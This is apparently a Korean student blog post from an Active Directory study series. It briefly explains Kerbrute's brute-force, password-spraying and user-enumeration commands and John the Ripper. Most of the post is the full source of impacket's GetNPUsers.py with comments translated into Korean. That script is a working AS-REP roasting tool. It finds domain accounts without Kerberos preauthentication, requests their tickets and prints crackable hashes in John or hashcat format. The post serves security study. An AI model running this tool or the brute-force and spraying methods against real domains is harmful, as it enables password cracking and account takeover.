TigerDemon

5차 - [수정] 4차에서 사용한 도구들에 대한 부가 설명 본문

2024-SWLUG/Active Directory

5차 - [수정] 4차에서 사용한 도구들에 대한 부가 설명

호랑2D 2024. 2. 20. 00:32

Kerbrute : Kerberos 사전 인증을 통해 유효한 Active Directory 계정을 빠르게 무차별적으로 열거하는 도구
Kerbrute의 3가지 메인 명령
bruteuser - 단어 목록에서 단일 사용자의 암호를 무차별 대입한다.
passwordspray -단일 암호를 사용자 목록에 대해 테스트한다.
userenum - Kerberos를 통해 유효한 도메인 사용자 이름을 열거한다.

john : 비밀번호 크래킹 도구로 이를 사용하여 tgt라는 대상에 비밀번호 크래킹을 시도하는 명령이다.

impacket - GeyNPUsers.py
https://github.com/fortra/impacket/blob/master/examples/GetNPUsers.py
위 링크에 들어가면 긴 코드가 있다. 그 코드는
Do not require Kerberos preauthentication 설정을 한 사용자에게서 TGT(Ticket Granting Ticket)를 가져오려고 시도한다.

#!/usr/bin/env python
# Impacket - 네트워크 프로토콜을 다루기 위한 Python 클래스들의 컬렉션입니다.
#
# 저작권 (C) 2023 Fortra. All rights reserved.
#
# 이 소프트웨어는 Apache 소프트웨어 라이센스의 약간 수정된 버전으로 제공됩니다. 자세한 내용은 동봉된 LICENSE 파일을 참조하십시오.
#
# 설명:
#   이 스크립트는 '사전 인증 필요 없음' 속성(UF_DONT_REQUIRE_PREAUTH)이 설정된 사용자들의 TGT를 나열하고 가져옵니다.
#   이러한 구성을 갖춘 사용자에 대해, John The Ripper 출력이 생성되어 크래킹을 위해 보낼 수 있습니다.
#
#   이 기술에 대한 원작자는 @harmj0y입니다:
#   https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/
#   Geoff Janjua에 의한 관련 작업:
#   https://www.exumbraops.com/layerone2016/party
#
#   사용법 설명은 매개변수 없이 스크립트를 실행하면 됩니다.
#
# 저자:
#   Alberto Solino (@agsolino)
#

from __future__ import division
from __future__ import print_function
import argparse
import datetime
import logging
import random
import sys
from binascii import hexlify

from pyasn1.codec.der import decoder, encoder
from pyasn1.type.univ import noValue

from impacket import version
from impacket.dcerpc.v5.samr import UF_ACCOUNTDISABLE, UF_DONT_REQUIRE_PREAUTH
from impacket.examples import logger
from impacket.examples.utils import parse_credentials
from impacket.krb5 import constants
from impacket.krb5.asn1 import AS_REQ, KERB_PA_PAC_REQUEST, KRB_ERROR, AS_REP, seq_set, seq_set_iter
from impacket.krb5.kerberosv5 import sendReceive, KerberosError
from impacket.krb5.types import KerberosTime, Principal
from impacket.ldap import ldap, ldapasn1
from impacket.smbconnection import SMBConnection, SessionError


class GetUserNoPreAuth:
    @staticmethod
    def printTable(items, header):
        colLen = []
        for i, col in enumerate(header):
            rowMaxLen = max([len(row[i]) for row in items])
            colLen.append(max(rowMaxLen, len(col)))

        outputFormat = ' '.join(['{%d:%ds} ' % (num, width) for num, width in enumerate(colLen)])

        # 헤더 출력
        print(outputFormat.format(*header))
        print('  '.join(['-' * itemLen for itemLen in colLen]))

        # 그리고 행들
        for row in items:
            print(outputFormat.format(*row))

    def __init__(self, username, password, domain, cmdLineOptions):
        self.__username = username
        self.__password = password
        self.__domain = domain
        self.__target = None
        self.__lmhash = ''
        self.__nthash = ''
        self.__no_pass = cmdLineOptions.no_pass
        self.__outputFileName = cmdLineOptions.outputfile
        self.__outputFormat = cmdLineOptions.format
        self.__usersFile = cmdLineOptions.usersfile
        self.__aesKey = cmdLineOptions.aesKey
        self.__doKerberos = cmdLineOptions.k
        self.__requestTGT = cmdLineOptions.request
        # 이 스크립트에서 -dc-ip 옵션의 값은 self.__kdcIP이고 -dc-host 옵션의 값은 self.__kdcHost입니다.
        self.__kdcIP = cmdLineOptions.dc_ip
        self.__kdcHost = cmdLineOptions.dc_host
        if cmdLineOptions.hashes is not None:
            self.__lmhash, self.__nthash = cmdLineOptions.hashes.split(':')

        # baseDN 생성
        domainParts = self.__domain.split('.')
        self.baseDN = ''
        for i in domainParts:
            self.baseDN += 'dc=%s,' % i
        # 마지막 ',' 제거
        self.baseDN = self.baseDN[:-1]

    def getMachineName(self, target):
        try:
            s = SMBConnection(target, target)
            s.login('', '')
        except OSError as e:
            if str(e).find('timed out') > 0:
                raise Exception('연결 시간이 초과되었습니다. 445/TCP 포트가 닫혔을 수 있습니다. -dc-host 옵션의 해당 NetBIOS 이름이나 FQDN을 지정해보십시오')
            else:
                raise
        except SessionError as e:
            if str(e).find('STATUS_NOT_SUPPORTED') > 0:
                raise Exception('SMB 요청이 지원되지 않습니다. 아마도 NTLM이 비활성화되었습니다. -dc-host 옵션의 해당 NetBIOS 이름이나 FQDN을 지정해보십시오')
            else:
                raise
        except Exception:
            if s.getServerName() == '':
                raise Exception('%s로의 익명 로그인 중 오류 발생' % target)
        else:
            s.logoff()
        return s.getServerName()

    @staticmethod
    def getUnixTime(t):
        t -= 116444736000000000
        t /= 10000000
        return t

    def getTGT(self, userName, requestPAC=True):

        clientName = Principal(userName, type=constants.PrincipalNameType.NT_PRINCIPAL.value)

        asReq = AS_REQ()

        domain = self.__domain.upper()
        serverName = Principal('krbtgt/%s' % domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value)

        pacRequest = KERB_PA_PAC_REQUEST()
        pacRequest['include-pac'] = requestPAC
        encodedPacRequest = encoder.encode(pacRequest)

        asReq['pvno'] = 5
        asReq['msg-type'] = int(constants.ApplicationTagNumbers.AS_REQ.value)

        asReq['padata'] = noValue
        asReq['padata'][0] = noValue
        asReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value)
        asReq['padata'][0]['padata-value'] = encodedPacRequest

        reqBody = seq_set(asReq, 'req-body')

        opts = list()
        opts.append(constants.KDCOptions.forwardable.value)
        opts.append(constants.KDCOptions.renewable.value)
        opts.append(constants.KDCOptions.proxiable.value)
        reqBody['kdc-options'] = constants.encodeFlags(opts)

        seq_set(reqBody, 'sname', serverName.components_to_asn1)
        seq_set(reqBody, 'cname', clientName.components_to_asn1)

        if domain == '':
            raise Exception('Kerberos에서 빈 도메인은 허용되지 않습니다')

        reqBody['realm'] = domain

        now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
        reqBody['till'] = KerberosTime.to_asn1(now)
        reqBody['rtime'] = KerberosTime.to_asn1(now)
        reqBody['nonce'] = random.getrandbits(31)

        supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value),)

        seq_set_iter(reqBody, 'etype', supportedCiphers)

        message = encoder.encode(asReq)

        try:
            r = sendReceive(message, domain, self.__kdcIP)
        except KerberosError as e:
            if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
                # RC4를 사용할 수 없습니다. 새로운 유형을 요청합니다.
                supportedCiphers = (int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value),
                                    int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value),)
                seq_set_iter(reqBody, 'etype', supportedCiphers)
                message = encoder.encode(asReq)
                r = sendReceive(message, domain, self.__kdcIP)
            else:
                raise e

        # 이것은 PREAUTH_FAILED 패킷이거나 대상 주체가 '사전 인증 필요 없음'을 설정한 경우의 실제 TGT여야 합니다.
        try:
            asRep = decoder.decode(r, asn1Spec=KRB_ERROR())[0]
        except:
            # 대부분 여기에 있어서는 안 됩니다. 이것이 TGT인가요?
            asRep = decoder.decode(r, asn1Spec=AS_REP())[0]
        else:
            # 사용자에게 UF_DONT_REQUIRE_PREAUTH 설정이 없습니다.
            raise Exception('%s 사용자에게 UF_DONT_REQUIRE_PREAUTH 설정이 없습니다' % userName)

        # 해시 출력을 생성하기 위해 TGT enc-part/cipher를 John 형식으로 출력합니다.
        if self.__outputFormat == 'john':
            # enc-part 데이터에 사용되는 암호화 유형을 확인합니다.
            # 이는 해시 출력을 어떻게 형식화해야 하는지 알려줍니다.
            if asRep['enc-part']['etype'] == 17 or asRep['enc-part']['etype'] == 18:
                return '$krb5asrep$%d$%s%s$%s$%s' % (asRep['enc-part']['etype'], domain, clientName,
                                                     hexlify(asRep['enc-part']['cipher'].asOctets()[:-12]).decode(),
                                                     hexlify(asRep['enc-part']['cipher'].asOctets()[-12:]).decode())
            else:
                return '$krb5asrep$%s@%s:%s$%s' % (clientName, domain,
                                                   hexlify(asRep['enc-part']['cipher'].asOctets()[:16]).decode(),
                                                   hexlify(asRep['enc-part']['cipher'].asOctets()[16:]).decode())
        
        # TGT enc-part/cipher를 Hashcat 형식으로 출력합니다.
        else:
            # enc-part 데이터에 사용되는 암호화 유형을 확인합니다.
            # 이는 해시 출력을 어떻게 형식화해야 하는지 알려줍니다.
            if asRep['enc-part']['etype'] == 17 or asRep['enc-part']['etype'] == 18:
                return '$krb5asrep$%d$%s$%s$%s$%s' % (asRep['enc-part']['etype'], clientName, domain,
                                                     hexlify(asRep['enc-part']['cipher'].asOctets()[-12:]).decode(),
                                                     hexlify(asRep['enc-part']['cipher'].asOctets()[:-12]).decode())
            else:
                return '$krb5asrep$%d$%s@%s:%s$%s' % (asRep['enc-part']['etype'], clientName, domain,
                                                      hexlify(asRep['enc-part']['cipher'].asOctets()[:16]).decode(),
                                                      hexlify(asRep['enc-part']['cipher'].asOctets()[16:]).decode())

    @staticmethod
    def outputTGT(entry, fd=None):
        print(entry)
        if fd is not None:
            fd.write(entry + '\n')

    def run(self):
        if self.__usersFile:
            self.request_users_file_TGTs()
            return

        if self.__kdcHost is not None:
            self.__target = self.__kdcHost
        else:
            if self.__kdcIP is not None:
                self.__target = self.__kdcIP
            else:
                self.__target = self.__domain

            if self.__doKerberos:
                logging.info('호스트명 가져오는 중')
                self.__target = self.getMachineName(self.__target)

        # 암호를 제공하지 않도록 지시되었습니까?
        if self.__doKerberos is False and self.__no_pass is True:
            # 예, 그냥 TGT를 요청하고 종료합니다
            logging.info('%s의 TGT 가져오는 중' % self.__username)
            entry = self.getTGT(self.__username)
            self.outputTGT(entry, None)
            return

        # LDAP에 연결합니다.
        try:
            ldapConnection = ldap.LDAPConnection('ldap://%s' % self.__target, self.baseDN, self.__kdcIP)
            if self.__doKerberos is not True:
                ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
            else:
                ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
                                             self.__aesKey, kdcHost=self.__kdcIP)
        except ldap.LDAPSessionError as e:
            if str(e).find('strongerAuthRequired') >= 0:
                # SSL을 시도해야 합니다
                ldapConnection = ldap.LDAPConnection('ldaps://%s' % self.__target, self.baseDN, self.__kdcIP)
                if self.__doKerberos is not True:
                    ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
                else:
                    ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
                                                 self.__aesKey, kdcHost=self.__kdcIP)
            else:
                # 인증할 수 없습니다. 사용자의 TGT를 가져올 것입니다(사전 인증이 비활성화되어 있는지 희망합니다)
                logging.info('%s의 인증할 수 없습니다. 해당 사용자의 TGT를 가져옵니다.' % self.__username)
                entry = self.getTGT(self.__username)
                self.outputTGT(entry, None)
                return


        # 검색 필터 작성
        searchFilter = "(&(UserAccountControl:1.2.840.113556.1.4.803:=%d)" \
                       "(!(UserAccountControl:1.2.840.113556.1.4.803:=%d))(!(objectCategory=computer)))" % \
                       (UF_DONT_REQUIRE_PREAUTH, UF_ACCOUNTDISABLE)

        try:
            logging.debug('검색 필터=%s' % searchFilter)
            resp = ldapConnection.search(searchFilter=searchFilter,
                                         attributes=['sAMAccountName',
                                                     'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'],
                                         sizeLimit=999)
        except ldap.LDAPSearchError as e:
            if e.getErrorString().find('sizeLimitExceeded') >= 0:
                logging.debug('sizeLimitExceeded 예외가 발생했습니다. 이미 받은 데이터를 처리하고 끝냅니다.')
                # sizeLimit에 도달했습니다. 이미 받은 응답을 처리합니다.
                resp = e.getAnswers()
                pass
            else:
                if str(e).find('NTLMAuthNegotiate') >= 0:
                    logging.critical("NTLM 협상에 실패했습니다. 아마도 NTLM이 비활성화되었습니다. 대신 "
                                     "Kerberos 인증을 시도해보세요.")
                else:
                    if self.__kdcIP is not None and self.__kdcHost is not None:
                        logging.critical("인증 자격 증명이 유효하면 KDC의 호스트 이름과 IP 주소를 확인하세요. "
                                         "정확히 일치해야 합니다")
                raise

        answers = []
        logging.debug('총 레코드 반환 %d' % len(resp))

        for item in resp:
            if isinstance(item, ldapasn1.SearchResultEntry) is not True:
                continue
            mustCommit = False
            sAMAccountName =  ''
            memberOf = ''
            pwdLastSet = ''
            userAccountControl = 0
            lastLogon = 'N/A'
            try:
                for attribute in item['attributes']:
                    if str(attribute['type']) == 'sAMAccountName':
                        sAMAccountName = str(attribute['vals'][0])
                        mustCommit = True
                    elif str(attribute['type']) == 'userAccountControl':
                        userAccountControl = "0x%x" % int(attribute['vals'][0])
                    elif str(attribute['type']) == 'memberOf':
                        memberOf = str(attribute['vals'][0])
                    elif str(attribute['type']) == 'pwdLastSet':
                        if str(attribute['vals'][0]) == '0':
                            pwdLastSet = '<never>'
                        else:
                            pwdLastSet = str(datetime.datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
                    elif str(attribute['type']) == 'lastLogon':
                        if str(attribute['vals'][0]) == '0':
                            lastLogon = '<never>'
                        else:
                            lastLogon = str(datetime.datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
                if mustCommit is True:
                    answers.append([sAMAccountName,memberOf, pwdLastSet, lastLogon, userAccountControl])
            except Exception as e:
                logging.debug("예외:", exc_info=True)
                logging.error('항목을 건너뜁니다. 오류로 인해 처리할 수 없습니다 %s' % str(e))
                pass

        if len(answers)>0:
            self.printTable(answers, header=[ "Name", "MemberOf", "PasswordLastSet", "LastLogon", "UAC"])
            print('\n\n')

            if self.__requestTGT is True:
                usernames = [answer[0] for answer in answers]
                self.request_multiple_TGTs(usernames)

        else:
            print("항목을 찾을 수 없습니다!")

    def request_users_file_TGTs(self):
        with open(self.__usersFile) as fi:
            usernames = [line.strip() for line in fi]

        self.request_multiple_TGTs(usernames)

    def request_multiple_TGTs(self, usernames):
        if self.__outputFileName is not None:
            fd = open(self.__outputFileName, 'w+')
        else:
            fd = None
        for username in usernames:
            try:
                entry = self.getTGT(username)
                self.outputTGT(entry, fd)
            except Exception as e:
                logging.error('%s' % str(e))
        if fd is not None:
            fd.close()



# 명령 줄 인수 처리.
if __name__ == '__main__':
    print(version.BANNER)

    parser = argparse.ArgumentParser(add_help = True, description = "쿼리 대상 도메인에서 'Kerberos 사전 인증 필요 없음'을 설정한 사용자를 검색하고 "
                                  "크래킹을 위해 TGT를 내보냅니다.")

    parser.add_argument('target', action='store', help='[[도메인/]사용자명[:암호]]')
    parser.add_argument('-request', action='store_true', default=False, help='사용자에게 TGT를 요청하고 JtR/hashcat 형식으로 출력합니다 (기본값 False)')
    parser.add_argument('-outputfile', action='store',
                        help='JtR/hashcat 형식의 암호를 쓸 출력 파일 이름')

    parser.add_argument('-format', choices=['hashcat', 'john'], default='hashcat',
                        help='사전 인증이 필요하지 않은 사용자의 AS_REQ를 저장할 형식입니다. 기본값은 hashcat입니다.')

    parser.add_argument('-usersfile', help='테스트할 사용자가 포함된 파일')

    parser.add_argument('-ts', action='store_true', help='로그 출력마다 타임스탬프 추가')
    parser.add_argument('-debug', action='store_true', help='DEBUG 출력을 켭니다')

    group = parser.add_argument_group('authentication')
    group.add_argument('-hashes', action="store", metavar='LMHASH:NTHASH',
                        help='NTLM 해시로 인증하기 위한 LMHASH:NTHASH 값입니다. NTLM은 채널 결합 세션에서 사용됩니다. '
                             '사용자명:도메인:NTLM인 경우에만 도메인은 필수입니다')

    group.add_argument('-no-pass', action="store_true", help='사용자명 및 암호를 사용하지 않고 TGT를 요청합니다.')
    group.add_argument('-aesKey', action="store", metavar='hex key', help='AES 키로 로그인하려는 경우 사용됩니다')

    group.add_argument('-dc-ip', action='store', metavar="ip address",
                       help='도메인 컨트롤러 IP 주소입니다. 이것을 사용하면 DC를 찾는 네트워크 검색이 생략됩니다.')
    group.add_argument('-dc-host', action='store', metavar="hostname",
                       help='도메인 컨트롤러 호스트 이름입니다. 이것을 사용하면 DC를 찾는 네트워크 검색이 생략됩니다.')
    group.add_argument('-k', action='store_true', help='Kerberos를 사용하여 인증합니다. 대신 NTLM을 사용합니다.')

    if len(sys.argv)==1:
        parser.print_help()
        sys.exit(1)

    options = parser.parse_args()

    # 로깅 설정
    logger.init(options.ts)
    if options.debug is True:
        logging.getLogger().setLevel(logging.DEBUG)

    logging.info('사용자명: %s' % options.target)

    try:
        domain, username, password = parse_credentials(options.target)
    except Exception as e:
        logging.critical(str(e))
        sys.exit(1)

    executer = GetUserNoPreAuth(username, password, domain, options)
    executer.run()


추후에 말머리에 수정이라고 달고 내용을 추가하겠습니다